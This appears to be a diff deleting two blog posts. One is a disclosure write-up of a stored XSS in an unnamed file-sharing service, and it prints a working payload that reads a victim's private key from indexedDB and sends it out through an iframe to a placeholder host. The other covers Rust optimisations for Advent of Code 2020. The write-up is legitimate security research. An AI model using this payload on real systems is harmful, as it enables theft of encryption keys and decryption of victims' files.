[name-falsehoods]: https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/
[original]: https://www.media-division.com/correct-name-capitalization-in-php/

View File

@ -1,248 +0,0 @@
+++
title = "Stealing private keys from a secure file sharing service"
description = "How I went about stealing private keys from a secure file sharing service with normal file request"
[taxonomies]
categories = ["blog"]
tags = ["hack", "web", "xss", "javascript"]
[extra]
toc = true
zenn_applause = true
comments = [
{url = "https://news.ycombinator.com/item?id=21371201", name = "Hacker News"},
{url = "https://www.reddit.com/r/netsec/comments/dnwudw/stealing_private_keys_from_a_secure_file_sharing/", name = "Reddit"},
{url = "https://lobste.rs/s/i9wflu/stealing_private_keys_from_secure_file", name = "Lobsters"},
]
+++
_Note: in agreement with the company, I decided not to name them to prevent
damaging their brand image. The company fixed the issue within an hour after
notifying them, big kudos for that._
Some days ago an article was posted on a Dutch tech website, showing off a newly
released service to securely request files from someone through the web.
As always, I'm super interested in the cryptographic implementation of such
services to ensure they're secure. Even if for example, the company servers
would be compromised. Sadly, their website didn't go deep into the technical
details. It only noted some simple facts that local cryptography is used with a
private key using RSA and AES to provide end-to-end encryption. The application
is not open-source which would allow easy auditing, and no white paper is
available.
Their website claims the system is secure, but everyone makes mistakes. So I
decided to put it to the test. Let's see what I could break.
Spoiler alert: it didn't turn out so well...
<!-- more -->
_This article goes into the technical details on how this was possible, you may
want to skip to the PoC [video](#video) instead._
## XSS
After making an account, I started testing with some basic well-known techniques.
Soon I discovered that persistent/stored [cross-site scripting][xss] was possible
through the account and company name fields.
The service allows you to create a file request. You'll then be provided a link
to send to someone, or you can send this by e-mail through their website.
The recipient user is presented with a page on which they can securely upload
files. The request includes your public key, which is used to securely encrypt
your files on their client before anything is transferred to servers. So far,
all well and good!
Here's the thing. It appeared that on this file request page, the name (and
company name) of the user that initiated the request is presented, but not
properly sanitized.
By putting the following snippet in your account name field, a JavaScript
message will appear as soon as someone opens any of your request links.
```html
<script>alert('Hi there!');</script>
```
{{ fit_image(path="blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/xss-alert.png") }}
This means we can execute our own code on a targets machine. That's some nasty
stuff! The question is, what significant things can we do with this issue?
## Local private keys
The service uses client-side asymmetric encryption to secure your files. Because
we're on a website, this must be done through JavaScript. This means that this
[private key][private-key] is accessible through JavaScript. The service stores
your generated private key in local [indexedDB][indexeddb] storage and is never
sent over the network.
To give some context on private keys: these are essentially what keep encrypted
files secure. Once you have the private key, you can decrypt files that use
that key-pair. You **must** protect this key, and **cannot** share it with someone
else.
You probably guessed it already, we can abuse this by accessing it ourselves by
modifying our snippet we put in the name field.
I wrote some code to retrieve all local data that includes our key.
I came this far in about half an hour. It's all quite simple:
```javascript
var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
store.onsuccess = () => alert(store.result.pem);
};
```
Embedding this in our name will make the file request pages show the receiving
user's private key in a JavaScript alert. Whoops.
{{ fit_image(path="blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/xss-rsa.png") }}
The amazing thing is that the request URL isn't modified to achieve this. It
does not look suspicious. The malicious snippet is stored in the database.
## Collect private keys on attackers server
Showing a user their private key isn't interesting and looks suspicious for
sure. Let's send this key to a remote server for the attacker to collect, and
profit, oh yes!
For this, I started an attempt on making [POST][http-methods] requests with the
private key data to a remote domain I own. Here I hit the first roadblock. The
name field only allows input up to 255 characters. Native JavaScript is quite
verbose with making a request, so some serious [golfing][codegolf] would be
required.
Soon I found out [jQuery][jquery] was included in the application, which allows
making super simple and short [Ajax][ajax] requests. Brilliant!
This didn't work out in the end though because of some set [CORS][cors] headers,
being a nice method for protecting against these kinds of things.
_Edit: Someone
[mentioned](https://www.reddit.com/r/netsec/comments/dnwudw/stealing_private_keys_from_a_secure_file_sharing/f5jg0x5/)
that this didn't work due to a misconfiguration on my server instead. I did set
the `Access-Control-Allow-Origin` header to `*` but that didn't fix it. I
then blindly assumed this was due to a CORS header on the company end._
Fun fact, this doesn't work against non-[Ajax][ajax] requests. Opting for a
[GET][http-methods] request with the data suffixed to the URL was perfectly fine, so I
choose to use [`iframes`][iframe]. I suffixed the data to the end of the URL
like `//example.com/?k=DATA`, and silently added an `iframe` to the page with
this link. The browser immediately loads this `iframe`, sending us our precious
data. This is what we need:
```javascript
$('body').append(
'<iframe src="//example.com/?k=' +
btoa(JSON.stringify(secret_data)) +
'" />'
);
```
_Redirecting the user to the attacker's page using
[`window.location.href`][window-location] would work as well, but that looks
super suspicious._
Hurray! We're now remotely collecting someone's private key!
## Proof of Concept
Now that we've implemented these steps, let's build a proof of concept.
With some effort, I compressed the code from above into the following one-liner.
With my own short domain, it counts 250 characters, just below the 255 character
limit. Beautiful!
```html
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa(JSON.stringify(b.target.result))+'">'),1);</script>
```
On the server-side I implemented a simple PHP script that retrieves the data we
suffixed to the URL, it parses it, pulls the key from the data and appends it to
a `keys.txt` file on my server. Nothing fancy.
This is all we need to steal someones private key for this service from a target!
## Video
I've recorded a simple video showing off the proof of concept.
- There are two users, Alice and Bob.
- Alice creates a request link and sends it to Bob.
- Bob opens the request link and his private key is stolen.
- The private key is sent to an external server Alice has access to, and Alice
can now decrypt files sent to Bob.
- On the right, the `keys.txt` file is shown in which stolen keys are collected.
- In the end, I export Bob's key through the website as normal and compare it to the key we stole. They match!
<video controls><source src="https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm" type="video/webm"><source src="https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.mp4" type="video/mp4">Your browser does not support HTML5 video :(</video>
All in all, it took about 2 hours to figure all this out. Let's start fixing
this.
## Fixed in an hour
After I built the PoC, I immediately contacted the company privately to notify
them about this issue. They did respond within 15 minutes over e-mail and we
agreed on a secure channel I could use to provide details on this issue.
I sent them the details at 22:08, including the PoC video. They published a fix
at 23:12. That's just in about an hour. Big applause to the company for
fixing this issue so quickly. It shows they're dedicated to securing their
service, as this was definitely out of company hours.
## Impact
Let's go over the impact this might have had:
- The core issue here was that [XSS][xss] was possible. This has been fixed.
- This issue allowed you to steal a targets private key if they had stored their
private key in the browser on that computer the link was opened on.
- The attacker could use their private key could be used to decrypt files that are
sent to them, but only if you have access to the encrypted blob somehow. This
would require access to their server, which this issue on its own didn't provide.
- After finding this issue, I did not report it to anybody else other than the
company until they fixed the problem.
Based on this I'd argue that real-world abuse of this issue would have been
seriously minimal, if not non-existent.
## Closing off
I guess what we've learned here is that you should never consider a service to
be secure, purely on what they're claiming on their website. This shows to be
true again and again.
I always recommend choosing a solution that:
- Has been around for a while
- That is open-source
- That has been battle-tested in the real world
- That has had public security audits by multiple parties
- That relies on technologies that are considered to be safe based on thorough
research and reviews
- That is hosted by a _trustful_ party
_Do I recommend to look for something else than this service?_
Not necessarily. Other than this implementation issue, they seem to have
set-up things quite well for what I can probe from the outside.
They're using the right technologies for encryption, and definitely made some
good choices with regard to security. It was just a sad thing they missed this
tiny detail.
But if there's a different tool that meets your needs, and better
fits the informal requirements I listed above, you're may be better off from a
security standpoint.
To securely send someone a file, I personally recommend [Firefox Send][firefox-send]
with [`ffsend`][ffsend] (which is a command line client for it that I built, shameless plug).
[ajax]: https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX
[codegolf]: https://en.wikipedia.org/wiki/Code_golf
[cors]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
[ffsend]: https://github.com/timvisee/ffsend
[firefox-send]: https://send.firefox.com/
[http-methods]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods
[iframe]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
[indexeddb]: https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API
[jquery]: https://jquery.com/
[private-key]: https://info.ssl.com/faq-what-is-a-private-key/
[window-location]: https://developer.mozilla.org/en-US/docs/Web/API/Window/location
[xss]: https://en.wikipedia.org/wiki/Cross-site_scripting

Binary file not shown.

Before

Width:  |  Height:  |  Size: 478 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 532 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

View File

@ -1,790 +0,0 @@
+++
title = "Solving Advent of Code 2020 in under a second"
description = "I solved all Advent of Code puzzles in less than one second total. In this article I describe some optimizations I used."
[taxonomies]
categories = ["blog"]
tags = ["rust", "performance", "aoc"]
[extra]
toc = true
zenn_applause = true
comments = [
{url = "https://news.ycombinator.com/item?id=26286781", name = "Hacker News"},
{url = "https://www.reddit.com/r/adventofcode/comments/lttus6/2020_rust_solving_advent_of_code_2020_in_under_a/", name = "Reddit"},
{url = "https://lobste.rs/s/rlx7ff/solving_advent_code_2020_under_second", name = "Lobsters"},
{url = "https://mastodon.social/@timvisee/105804623902554005", name = "Mastodon"},
]
+++
```
,--.-----.--.
|--|-----|--|
|--| |--|
| |-----| |
__|--| |--|__
/ | |-----| | \ mm mmmm mmm
/ \__|-----|__/ \ ## m" "m m" "
/ ______---______ \/\ # # # # #
/ / \ \/ #mm# # # #
{ / _ _ _ \ } # # #mm# "mmm"
| { / | | . | | /| } |-,
| | \ |_| . |_| _|_ | | | mmmm mmmm mmmm mmmm
| { } |-' " "# m" "m " "# m" "m
{ \ / } m" # m # m" # m #
\ `------___------' /\ m" # # m" # #
\ __|-----|__ /\/ m#mmmm #mm# m#mmmm #mm#
\ / |-----| \ /
\ |--| |--| /
--| |-----| |--
|--| |--|
|--|-----|--|
`--'-----`--'
```
[Advent of Code][aoc-2020] is a popular yearly programming competition. It's an
Advent calendar of small programming puzzles for a variety of skill sets and
levels that can be solved in any programming language you like.
Puzzles are released daily throughout December. [More][aoc-stats] than 150k
people take part in this event. The toughest battle to solve each puzzle as soon
as possible to become the best on the global [leaderboard][aoc-leaderboard].
In my timezone, puzzles are released at 6 o'clock in the morning. Since I'm a
night owl, the biggest challenge for me here is to get up so early. I,
therefore, set a different goal instead.
<!-- more -->
## Subsecond
I want to develop a standalone, short, compact, fast and, elegant solution for
each problem this year. In past competitions, I took part using the [Rust][rust]
language. I've been using it a lot for other projects lately, and believe it is
a fantastic language to build performant, secure, and robust software. This has
always sparked my interest so Rust is a good fit.
Last year I came across [this][inspired-by] article, solving all puzzles in
under a second. Yes, in less than one second total. This inspired me to
challenge myself to the same this year:
*Solving Advent of Code 2020 in under a second on a single CPU core.*
Spoiler alert: I succeeded!
## What's in this for you?
In this article, I'd like to show you some optimizations I found appealing which
I used to keep the solutions blazingly fast. I'll only talk about the most
significant optimizations and the interesting bits. Most are algorithmic and are
consequently language agnostic.
I'm just using basic time measurements on my machine. I won't be theoretically
proving the efficiency of an approach. I optimized the runtime of my solutions
based on my personal input. I did not make assumptions other than what is clear
from the puzzle description though, so each solution should work for all inputs
with comparable runtime. All user input is similar after all.
I hope this article will present you with some out-of-the-box approaches you can
take away to make your future code more performant. Hence this piece is intended
for programmers that value performance.
```
)
CHOO CHOO ' ))'
{// '"
"'' )
___ ___ ____ ____ ____ __||_
____ -- __ {___{{___{{___{(___(o)
---- ---- 0 0 0 0 0 0 0 0'U'
code zooming past
```
## Source code
Source code and measurements? See my solutions on GitHub:
<https://github.com/timvisee/advent-of-code-2020>
If you'd like to give these [puzzles][aoc-2020] a try and haven't done so yet, I highly
recommend doing so before you continue reading. It contains
spoilers.
Now, let's get started with the interesting stuff.
---
## Day 1: Report Repair
On the first day [part 2][d01p2], we're given a list of numbers. We must find 3 numbers
that have a sum of 2020. All numbers are around 1000, so we're likely trying to
find a pair of 3 small numbers.
I [sort][d01p2-code] the list of numbers from small to large before trying to
find the correct pair, which decreases the runtime from `1.38ms` to `7μs`.
Yup, starting simple.
## Day 6: Custom Customs
On [day 6 part 1][d06p1] we're trying to find the number of unique questions.
There are 26 in total, represented as letters. I take a 32-bit integer and
[set][d06p1-code] the corresponding bit for each answer. I then count the number
of ones. No expensive data structures are required.
```
cady: 00000010110000000000000000000010
ipldcyf: 00000000110100100100010000000010
xybgcd: 00000000110010000000000000000110
gcdy: 00000000110010000000000000000010
dygbc: 00000001110010000000000000000010
=OR=============================
00000011110110100100010000000110 -> 11
```
[Part 2][d06p2] is simple now: I take the same approach but [use][d06p2-code]
the AND operation instead of OR when setting bits.
## Day 9: Encoding Error
On [day 9 part 2][d09p2] we must find a sequence of numbers in a list of
numbers that sums up to a specific value.
The common approach seems to be to use a `for` in a `for` loop. This walks
over each position with the outer loop and tries to find a sequence with the
correct sum with the inner loop.
I'm [using][d09p2-code] a _dynamic sliding window_ approach instead (I better
give it a fancy name you know). I start by sliding the _head_ forward, making
the window and the sum larger. When the sum becomes larger than the target value
I stop. Then I start sliding the _tail_ forward, making the window and the
sequence sum smaller. When the sum becomes smaller than the target value I stop.
```
>> tail >> >> head >>
| |
+-----------+
... 35 20|15 25 47 40|62 55 65 95 102 ...
+-----------+
| tot: 127 |
```
I keep alternating between sliding the _head_ and _tail_. Once the sum equals
the target value, we've found the sequence and can solve the puzzle. This
minimizes the number of required loops, making it more efficient.
## Day 10: Adapter Array
On [day 10 part 2][d10p2] we get a list of adapter voltages. Adapters may be
plugged into each other if the adapter is 1 to 3 volts higher than the adapter
you're plugging into. The puzzle is to figure out how many distinct adapter
arrangements are possible.
I started with a sorted list because you can only plug higher-rated adapters
into lower-rated ones. The maximum difference is 3, so I soon discovered that
you can chunk the sequence of adapters. Each chunk of adapters has a difference
of 3, which only gives one way to connect between them. You can now process each
chunk separately to find distinct arrangements, multiplying their calculations.
```
Chunks with adapters:
C1 >> C2 >> C3 >> C4 >> C5
-- -- -- -- --
1 4 10 15 19
5 11 16
6 12
7
-- -- -- -- --
1x 7x 4x 2x 1x
Ways to connect:
1 + 7 + 4 + 2 + 1 = 15
```
This resulted in chunks that always consisted of 2, 3, or 4 adapters. This makes
it easy to find distinctions between them. I finally figured that I could
[optimize][d10p2-code] it to a _fixed number of distinctions per chunk size_
greatly reducing complexity.
I found 74049191673856 distinct ways to connect all adapters in just `5μs`. I
can't even count to 1 within that time.
## Day 11: Seating System
On [day 11 part 1][d11p1] we're given a variation of [Conway's Game of
Life][cgol] represented as a 2D arrangement of seats on a plane. Each iteration
seat occupation changes based on a set of rules considering their neighbors, but
seats don't move.
```
L.LL.LL.LL L = empty seat
LLLLLLL.LL . = nothing
L.L.L..L..
LLLL.LL.LL
L.LL.LL.LL
L.LLLLL.LL
..L.L.....
LLLLLLLLLL
L.LLLLLL.L
L.LLLLL.LL
```
With regular _Game of Life_ you'd have to loop through all positions each
iteration and evaluate all rules to determine their new state. Because this
puzzle does not have a seat at every position (nor do seats always have 4
neighbors) our plane is more like a [sparse array][sparse-array]. A lot of
cycles would be wasted if we'd keep looping over all plane positions.
I decided to make a list of all seat positions and their respective neighbors.
[This][d11p1-code] way I only had to go through this list of seats for each
iteration. Determining what neighbors a seat has just needs to be performed
once.
This is especially great for [part 2][d11p2] which makes things worse. It
doesn't just consider direct neighbors anymore, but neighbors in line of sight
making searching much more expensive. Luckily it doesn't affect my approach from
the first part too much, as I only search [once][d11p2-code]. This is much more
efficient than looping through all positions and finding neighbors every time.
## Day 12: Rain Risk
On [day 12 part 1][d12p1] we're given a sequence of navigation instructions for
a ship. It includes cardinal directions, rotation, and forward instructions. We
must figure out the distance between the start and destination position.
What makes this tricky is the rotation and forward instructions. The forward
movement is dependent on your current rotation.
I use a single byte of which the first 4 bits define the current rotation. The
first bit means north, the second bit means east, et cetera. Because the ship
starts looking east, I start with the `0b01000100` pattern. For each rotation
instruction, I simply [rotate][bitwise-rotate] the bits left or right. Rotating
right would update the direction to `0b00100010`.
```
Direction bits, shift to rotate 90 degrees left or right:
<< rotate left << >> rotate right >>
... <> 01000100 <> 00100010 <> 00010001 <> 10001000 <> ...
Bit meaning:
[ y-1 ] [ y+1 ]
[north] [south]
| |
Direction bits 00100010 would move ship south (y+1)
| |
[east] [west]
[ x+1] [x-1 ]
```
To move forward I [take][d12p1-code] this direction byte and use bitwise
arithmetic to update the ship position. This removes branching (`if` statements
and such) you'd normally expect for logic like this. Quite elegant.
## Day 13: Shuttle Search
On [day 13 part 2][d13p2] you're given a series of bus lines, each having a
fixed schedule. You must find the time where each bus leaves one after
the other, in order.
```
time bus 7 bus 13 X X bus 59 X bus 31 bus 19
... . . . . . . . .
1068780 . . . . . . . .
1068781 D . . . . . . .
1068782 . D . . . . . .
1068783 . . D . . . . .
1068784 . . . D . . . .
1068785 . . . . D . . .
1068786 . . . . . D . .
1068787 . . . . . . D .
1068788 D . . . . . . D
1068789 . . . . . . . .
...
```
My initial thought was just to brute force through all times. The correct answer
turns out to be very large (more than 640 trillion), making this impossible
within a short time. I was unable to optimize this myself with basic mathematics
due to the weird constraints.
Searching for the problem semantics and related keywords online revealed the [Chinese Remainder
Theorem][crt]. It is very similar to the given problem and shows an efficient
way to solve it with sample code. With minimal changes, I solved this seemingly
impossible puzzle and the solution finds the answer in just `4μs`.
The important lesson here is that many Advent of Code problems resemble some
well-defined algorithm or at least part of it. If you can't solve it yourself,
try to find a suitable algorithm. Finding such an algorithm makes solving the
problem child's play. This is super interesting for learning about new
algorithms and approaches as well.
<!--
## Day 14: Docking Data
In [day 14 part 1][d14p1] a bitmask is given. It must be applied to a set of
numbers to find the correct sum. The mask sets both `0` and `1` bits, some bits
are undefined. I transformed it into an AND & OR mask to apply to all the
values. This is computationally cheap, making it a fast solution, and preventing
complex logic to filter all values. Quite an obvious solution reading the puzzle
description.
In [part 2][d14p2] a bitmask is given...
TODO remove this day?
-->
## Day 15: Rambunctious Recitation
[Day 15][d15p2] requires you to continue a number sequence to find the number at
a given position. The puzzle description explains the rules quite well. The
second part gets tricky: it asks you the 30 millionth position. The problem is
that for each number you have to traverse all previous numbers based on the
given rules. This becomes super expensive for higher positions. For 30 million
numbers this means traversing 450 trillion (!) numbers.
```
Given: 6, 4, 12, 1, 20, 0, 16
2back 2back 1back new new 6back 3back
| | | | | | |
6, 4, 12, 1, 20, 0, 16, 0, 2, 0, 2, 2, 1, 9, 0, 5, 0, 2, 6, 0, 3, ...
| | | | | | | |
new new 2back 9back 5back 2back new new
```
The sequence appears to be the [Van Eck sequence][van-eck-seq] (see
[this][van-eck-numberphile] fantastic Numberpfile video on it). To my surprise,
there doesn't seem to be an efficient algorithm for generating the sequence. The
sequence does not repeat, nor does it have a known pattern that would help with
generating. Many people (a lot smarter than I am) have taken up the challenge to
find a more efficient method, but without result. This means I don't have to
give it a try. Instead, I have to be careful to use the correct logic and data
structures to keep my sequence generator as fast as possible.
I opted to [use][d15p2-code] a lookup table approach with an array and hash map
combination. Because the last position of a number is important, the table is
used for this with the number as a key and the last position as a value. This
way generating the next number only requires a single lookup instead of
traversing all previous numbers.
Instead of just using a fixed array or hash map for the lookup table as a whole,
I split it in a low and high side at the 3 million mark. The low side is a fixed
array, the high side utilizes a hash map. This turns out to be much faster than
using just either of the two, improving runtime by 30%. This is super
interesting to me, and I didn't expect it to be so much faster. It likely has to
do with more efficient CPU cache usage on my system, where the low side with the
array is dense, and the high side with the hash map is sparse, though I haven't
looked into the details. This shows that using a single data structure isn't
always the best approach, even though that might be against your expectations.
```
Sequence example:
6, 4, 12, 1, 20, 0, 16, 0, 2, 0, 2, 2, 1, 9, 0, 5, 0, 2, 6, 0, 3, ...
Last position lookup tables:
LOW SIDE ARRAY 0..3M HIGH SIDE MAP 3M..30M
+-------+----------+ +------+------------+
| index | last pos | | num | last pos |
+-------+----------+ +------+------------+
| 0 | 20 | | 3M | 3.2M |
| 1 | 13 | | 3.2M | 8.3M |
| 2 | 18 | | 3.5M | 9.1M |
| 3 | 21 | | 3.6M | 4.9M |
| 4 | 2 | | 3.7M | 11.2M |
| 5 | 16 | | .. | .. |
| .. | .. | | | |
| 3M | 0 | | | |
+-------+----------+ +------+------------+
```
My final solution completes in `511ms`. Quite the achievement, as it seems
rather fast compared to [others][reddit-day15]. This is the most costly puzzle
when looking at runtime. It alone takes up 73% of my total runtime and consumes
more than half of my 1-second target. _Ouch..._
[reddit-day15]: https://www.reddit.com/r/adventofcode/comments/kdf85p/2020_day_15_solutions/
[van-eck-numberphile]: https://www.youtube.com/watch?v=etMJxB-igrc
[van-eck-seq]: https://ibmathsresources.com/2019/06/12/the-van-eck-sequence/
## Day 17: Conway Cubes
For [day 17][d17p1] [Conway's Game of Life][cgol] returns (who'd have thought
looking at its title), though it has a special twist. You have to figure out how
many 'cubes' are active after a number of cycles, but this time we're doing it
in 3D space. The puzzle input is a 2D slice that serves as starting state.
The first optimization I implemented was to limit the search space each cycle.
This space starts with the input size and grows by one in each direction for
each iteration. This limits the number of cubes to check, as distant cubes can't
be active yet. Easy.
Because the initial state is a 2D slice, I noticed another interesting property.
As the 2D slice is effectively the same on the two _sides_ of the third axis, it
expands with the same pattern in both directions. This means that the third axis
is mirrored from the center (the slice). I only have to simulate one of these
two sides and multiply the cube count to get the answer we need. This halves
the number of operations reducing runtime.
```
2D example with 1D (column) input which mirrors:
single input column
|
---------------
#---##---##---#
#--#--#-#--#--#
---#-#---#-#---
----#-----#----
--------------- what the field
-----#---#----- <-- looks like after
----##---##---- some cycles
---##-----##---
---------------
-----#####-----
------###------
------###------
|
<<< | >>>
|
mirrors left and right
```
[Part 2][d17p2] gets even better. The puzzle is similar but simulates in 4D
space. To accommodate for this the rules have changed slightly, but the input is
still the same 2D slice. This is fantastic because this means not just one but
two axis are mirrored now. With the same optimization, I now need to simulate
only ¼th of the space, making the solution 4 times quicker!
<!-- TODO: day 19 may be fun as well -->
## Day 20: Jurassic Jigsaw
[Day 20][d20p1] involves a jigsaw puzzle. Each piece is a 10×10 matrix of bits.
All pieces form a larger square. The bits on the edges between two pieces must
align. Every piece can be placed anywhere and may need to be rotated or flipped
in any direction. That's a lot of combinations.
```
Placed tiles for small example puzzle:
T3: T9: T2:
..##. ...## #.##.
##..# #...# #.###
#...# #..#. .....
####. ....# #...#
##.## ##### ###.#
T1: T6: T5:
##.## ##### ###.#
.#.## #..## ###.#
..#.. ..#.. .###.
###.. .#.#. ..#.#
..##. ..### #...#
T7: T4: T8:
..##. ..### #...#
#..#. .#..# #..##
##.#. .#.#. .#.#.
.#### ####. .###.
..##. .#### #.###
```
To solve the first part you must figure out what pieces are placed in the 4
corners. [@gkhill](https://kevinhill.nl/) gave me the insight (thanks for that!)
that corner pieces have two edges that don't connect to anything and likely
won't match any other edge. Now I only had to find 4 pieces with edges that
didn't match any other edge. In the example above the tiles, T3, T2, T7, and T8
all have 2 edges that don't match any other. Rather simple. That worked.
In [part 2][d20p2] I use tricks like just rotating/flipping tile edges
instead of the full tile body while positioning them. I won't go into further
detail because it doesn't seem to affect the total runtime too much. But you
might find the [implementation][d20p2-code] interesting.
## Day 23: Crab Cups
[Day 23][d23p1] involves a game of moving cups. The cups are arranged in a
circle. Each is labeled with a unique number. To solve the puzzle you have to
move chunks of them around based on a set of rules for a specific number of
turns, to get a final sequence.
[Part 2][d23p2] gives you one million cups, for which you've to do ten million
moves. That's a lot! Representing the cups as a list of numbers in an array
turns out to be very inefficiënt. For each iteration, you'd have to move a chunk
of cups through the list. This requires shifting a lot of items in memory,
resulting in many reallocations. That's slow, no good!
Instead, I choose to [utilize][d23p2-code-list] a structure that essentially
functions like a [linked list][linked-list]. I allocated an array with one item
for each cup. The array is indexed by cup number. For each cup, it holds the
number of the next cup. It effectively points to the following cup in the
arrangement, looping the sequence.
This is great because it makes moving a chunk of cups around super cheap.
Instead of having to shift a lot of items through memory, you just have to
[update][d23p2-code-pointers] 3 pointers. To move a chunk of cups, I:
1. update the cup before the old chunk position, to point to the cup after the old chunk position,
2. update the cup before the new chunk position, to point to the first cup of the chunk,
3. update the last cup of the chunk, to point to the cup after the new chunk position.
```
Cup sequence: 3 8 9 1 2 5 4 6 7
Linked list, storing our sequence:
+---+---+---+---+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | <- cup label
+---+---+---+---+---+---+---+---+---+
| 2 | 5 | 8 | 6 | 4 | 7 | 3 | 9 | 1 | <- points to (next cup)
+---+---+---+---+---+---+---+---+---+
To move chunk [8, 9, 1] after 5:
Cup sequence: 3 |8 9 1| 2 5 4 6 7
+-------+
v
+-------+
Cup sequence: 3 2 5 |8 9 1| 4 6 7
+---------- 1. change 3 to point to 2
| +-- 2. change 5 to point to 8
+-------|-------|-- 3. change 1 to point to 4
| | |
| | |
v v v
+---+---+---+---+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | <- cup label
+---+---+---+---+---+---+---+---+---+
| 4 | 5 | 2 | 6 | 8 | 7 | 3 | 9 | 1 | <- points to (next cup)
+---+---+---+---+---+---+---+---+---+
```
As a bonus; you can instantly find a cup with a specified number by its index.
And because the last cup can point to the first an edge case is removed for
handling the sequence as a loop. Brilliant!
The final implementation runs `192ms`, making it the second slowest solution.
The optimizations are useful here to keep everything under one second.
## Day 24: Lobby Layout
[Day 24][d24p1] involves a floor of hexagonal tiles. You're given a list of
directions to move on it, the target tile must be flipped between black and
white.
A hexagonal grid can be tricky to comprehend. I just [work][d24p1-code] with it
as if it's a _square (but askew)_ grid. Seeing a problem like this differently
can greatly reduce its complexity.
```
_____ _____ _____
/ \ / \ / \
_____/ -2,-1 \_____/ 0,-1 \_____/ 2,-1 \_____
/ \ / \ / \ / \
/ -3,-1 \_____/ -1,-1 \_____/ 1,-1 \_____/ 3,-1 \
\ / \ / \ / \ /
\_____/ -2,0 \_____/ 0,0 \_____/ 2,0 \_____/
/ \ / \ / \ / \
/ -3,0 \_____/ -1,0 \_____/ 1,0 \_____/ 3,0 \
\ / \ / \ / \ /
\_____/ -2,1 \_____/ 0,1 \_____/ 2,1 \_____/
/ \ / \ / \ / \
/ -3,1 \_____/ -1,1 \_____/ 1,1 \_____/ 3,1 \
\ / \ / \ / \ /
\_____/ \_____/ \_____/ \_____/
```
[Part 2][d24p2] challenges us to a _Game of Life_ one last time. This time we're
using the hexagonal grid, however, ouch. The floor from part 1 is our starting
state. A set of rules is provided to flip tiles between black and white based on
their neighboring tiles.
I kept the square grid from part 1. Though each square tile has 6 neighbors
(including 2 diagonal) instead of just 4 to match what a real hexagonal grid
would be like. Based on the rules we only have to consider tiles that have at
least one neighboring black tile. This makes processing the infinitely sized
floor cheaper.
I [compile][d24p2-code] a list of all neighbor tiles for each black tile and
count their occurrence number. After collecting this list I loop over all these
neighbors with their occurrence count to process the rules accordingly. Using
this method I skip looping over a huge amount of useless tiles and asserting the
rules becomes simple, similar to what I've done on [day
13](#day-11-seating-system). Doing just 100 iterations as the puzzle specifies
takes `43.2ms`, pretty expensive I think. With `656ms` total runtime so far I'm
still well under my 1-second target though.
## Day 25: Combo Breaker
On [day 25][d25p1] you're challenged to obtain the encryption key to break a
card-based door locking system. A set of cryptography rules is given, along with
the public key of the card and the door lock, and some additional parameters.
You have to brute force your way to the final encryption key which you must
obtain. After understanding the cryptography rules it becomes clear that you've
to run some multiplication & modulo calculations for an unknown number of cycles
to obtain the final key. The number of cycles will likely be very large, so
cracking this lock will take some time.
As part of the puzzle two public keys are given each having its own (unknown)
number of cycles and parameters. This means that there are two paths to brute
force the key, one of which being shorter. I want to be as quick as possible to
keep runtime low, but it is unknown which path is faster.
I, therefore, choose to [crack][d25p1-code] both keys at the same time. The
process will be complete as soon as the key is found for either of the two,
using the shortest possible number of cycles. As the calculations on both keys
are so similar the compiler [vectorized][vectorization] it in a single
operation, basically making it as quick as cracking a single key. It
took 8419518 cycles to crack this lock, running `27.9ms`. Awesome.
---
## Results
That's it. I solved all puzzles!
Now it was time to measure the total runtime.
I've set up a simple [runner] for this to run and measure [all][runner-jobs] my
solutions in sequence.
My final solutions complete in just `699ms`! That's from day 1 to day 25, 49
solutions in total, one after the other (!). Well under my 1-second
target. A fantastic achievement! Time to buy a cake.
```
___________
'._==_==_=_.'
.-\: /-.
| (|:. |) |
'-|:. |-'
\::. /
'::. .'
) (
_.' '._
`"""""""`
```
Here's a chart with all results plotted ([details][timings]):
{{ fit_image(path="blog/2021-02-27_solving-aoc-2020-in-under-a-second/graph.png") }}
Out of interest I also ran all solutions in [parallel][runner-par] on my
somewhat old 4-core Intel i5 CPU, which completes everything in a whopping
`511ms`.
## Additional tricks
I did use other cool things to improve performance with which I didn't mention
anywhere else. Here are some of them, most are Rust specific:
- [`include_bytes!`][include_bytes] & [`include_str!`][include_str]: *instead of
reading puzzle input from a file at runtime, I embedded the file statically in
the solution binary itself using these Rust macros. This removes file read
operations, while still having a puzzle input file, shaving off some time.*
- [`#[inline]`][inline]: *I suggested the compiler to inline some functions, to
limit time spent by calling functions a billion times, shaving off some time.*
- [`nom`][nom]: *an awesome Rust crate for building efficient binary parsers,
[used][d18p1-code] this in [various][d02p2-code] places to parse tricky
formats faster and more robustly than regexes or manual splitting.*
- [Custom][cargo-config] build flags and native optimization: *for some
solutions, I tweaked link-time optimization, disabled compile-time
concurrency, and compiled with optimizations for my specific CPU model to
shave of some time.*
- Increased stack size limit: *for [day 15 part 2][d15p2-code-stack] I
increased the maximum stack size with `ulimit -s unlimited` to fit more
than 8192 kilobytes on the stack frame to make the overall solution more
efficient.*
See the [source code][source] for more interesting stuff.
## Closing words
Some have probably come up with some faster solutions than me. When I compare my
solutions with others in the Advent of Code [megathread][aoc-megathread] on
Reddit, I seem to have done very well though.
Setting this goal made this year's Advent of Code very interesting to me. It
constantly required me to think about what the most efficient approach could be.
This makes you creative, making your code quite elegant in many cases. If you're
looking for a challenge, I recommend you to do the same. Please consider to
share your cool implementations as well.
